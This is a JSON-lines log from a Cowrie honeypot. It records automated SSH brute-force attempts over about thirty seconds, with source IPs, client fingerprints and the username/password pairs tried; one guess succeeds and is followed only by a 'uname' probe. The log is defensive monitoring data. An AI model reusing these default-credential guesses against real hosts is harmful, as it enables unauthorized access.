{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55422,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d8ca49b1dfc","protocol":"ssh","message":"New connection: 193.151.144.93:55422 (10.17.0.5:22) [session: 4d8ca49b1dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:51.191699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:51.197078Z","src_ip":"193.151.144.93","session":"4d8ca49b1dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:51.359632Z","src_ip":"193.151.144.93","session":"4d8ca49b1dfc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:51.853080Z","src_ip":"193.151.144.93","session":"4d8ca49b1dfc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:54.762051Z","src_ip":"193.151.144.93","session":"4d8ca49b1dfc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:54.766011Z","src_ip":"193.151.144.93","session":"4d8ca49b1dfc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:54.935789Z","src_ip":"193.151.144.93","session":"4d8ca49b1dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:54.942439Z","src_ip":"193.151.144.93","session":"4d8ca49b1dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55430,"dst_ip":"10.17.0.5","dst_port":22,"session":"597b39be0146","protocol":"ssh","message":"New connection: 193.151.144.93:55430 (10.17.0.5:22) [session: 597b39be0146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:56.653082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:56.661083Z","src_ip":"193.151.144.93","session":"597b39be0146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:56.825071Z","src_ip":"193.151.144.93","session":"597b39be0146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:57.316324Z","src_ip":"193.151.144.93","session":"597b39be0146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:58.485655Z","src_ip":"193.151.144.93","session":"597b39be0146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57860,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ed6ee6863f7","protocol":"ssh","message":"New connection: 193.151.144.93:57860 (10.17.0.5:22) [session: 3ed6ee6863f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:01.927984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:01.941919Z","src_ip":"193.151.144.93","session":"3ed6ee6863f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:02.110249Z","src_ip":"193.151.144.93","session":"3ed6ee6863f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:02.614305Z","src_ip":"193.151.144.93","session":"3ed6ee6863f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":58658,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3ae50b3a839","protocol":"ssh","message":"New connection: 147.45.197.250:58658 (159.203.135.109:22) [session: b3ae50b3a839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:03.418836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:03.424097Z","src_ip":"147.45.197.250","session":"b3ae50b3a839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:03.514584Z","src_ip":"147.45.197.250","session":"b3ae50b3a839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12031987","message":"login attempt [root/12031987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:03.779229Z","src_ip":"147.45.197.250","session":"b3ae50b3a839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:03.788053Z","src_ip":"193.151.144.93","session":"3ed6ee6863f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:04.873758Z","src_ip":"147.45.197.250","session":"b3ae50b3a839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57874,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3fde38e604d","protocol":"ssh","message":"New connection: 193.151.144.93:57874 (10.17.0.5:22) [session: a3fde38e604d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:07.352192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:07.357475Z","src_ip":"193.151.144.93","session":"a3fde38e604d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:07.532215Z","src_ip":"193.151.144.93","session":"a3fde38e604d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:08.038284Z","src_ip":"193.151.144.93","session":"a3fde38e604d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:09.634366Z","src_ip":"193.151.144.93","session":"a3fde38e604d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":33214,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdcd22bed06f","protocol":"telnet","message":"New connection: 50.62.181.92:33214 (159.203.135.109:23) [session: bdcd22bed06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:10.014616Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43582,"dst_ip":"10.17.0.5","dst_port":22,"session":"adb43e64ddd7","protocol":"ssh","message":"New connection: 193.151.144.93:43582 (10.17.0.5:22) [session: adb43e64ddd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:12.841655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:12.869123Z","src_ip":"193.151.144.93","session":"adb43e64ddd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:13.095526Z","src_ip":"193.151.144.93","session":"adb43e64ddd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:14.497538Z","src_ip":"193.151.144.93","session":"adb43e64ddd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:16.092418Z","src_ip":"193.151.144.93","session":"adb43e64ddd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":52546,"dst_ip":"10.17.0.5","dst_port":22,"session":"35e073b0b0c2","protocol":"ssh","message":"New connection: 147.45.199.80:52546 (10.17.0.5:22) [session: 35e073b0b0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:17.971083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:17.977467Z","src_ip":"147.45.199.80","session":"35e073b0b0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:18.074260Z","src_ip":"147.45.199.80","session":"35e073b0b0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43592,"dst_ip":"10.17.0.5","dst_port":22,"session":"86844434558b","protocol":"ssh","message":"New connection: 193.151.144.93:43592 (10.17.0.5:22) [session: 86844434558b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:18.357871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:18.362725Z","src_ip":"193.151.144.93","session":"86844434558b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321qwer","message":"login attempt [root/123321qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:18.367075Z","src_ip":"147.45.199.80","session":"35e073b0b0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:18.535758Z","src_ip":"193.151.144.93","session":"86844434558b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:19.053918Z","src_ip":"193.151.144.93","session":"86844434558b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:19.466043Z","src_ip":"147.45.199.80","session":"35e073b0b0c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:47:21.124970Z","src_ip":"193.151.144.93","session":"86844434558b","protocol":"ssh"}
